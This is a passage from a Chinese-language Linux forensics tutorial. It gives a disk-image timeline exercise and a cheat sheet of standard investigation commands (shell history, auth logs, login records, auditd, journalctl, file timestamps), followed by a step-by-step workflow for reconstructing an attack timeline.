对一个磁盘镜像使用 fls + mactime 生成时间线,定位攻击者创建和修改的文件。
完成练习后,可以参考 29-取证工具 了解更多专业取证工具。
9. 总结与速查表 核心排查清单
排查项
命令
备注
bash 历史
cat ~/.bash_history
检查所有用户
zsh 历史
cat ~/.zsh_history
带时间戳格式
历史被清除检测
文件大小 + mtime + 搜索清除命令
清除行为本身是证据
HISTTIMEFORMAT
echo $HISTTIMEFORMAT
有则可提取时间戳
文件时间线
find / -type f -newermt "DATE" -printf "%T+ %p\n"
按时间范围
认证事件
grep "Failed|Accepted|sudo" /var/log/auth.log
发行版差异
登录记录
last -F; lastb -F
成功和失败登录
mactime
fls + mactime
离线取证
Auditd
ausearch -k KEY; aureport
最详细的审计源
Systemd Journal
journalctl --since DATE
统一日志源
进程启动时间
ps -eo lstart,pid,user,args
运行中进程
时间线构建流程
确定调查时间窗口(通过告警时间或可疑进程启动时间)
从各来源收集时间线数据
统一时间格式,合并排序
标注每个事件的攻击阶段
形成完整攻击叙述
相关页面 03-日志分析基础 — 日志文件位置与分析方法
29-取证工具 — 专业取证工具详解
05-进程与网络分析 — 进程与网络排查方法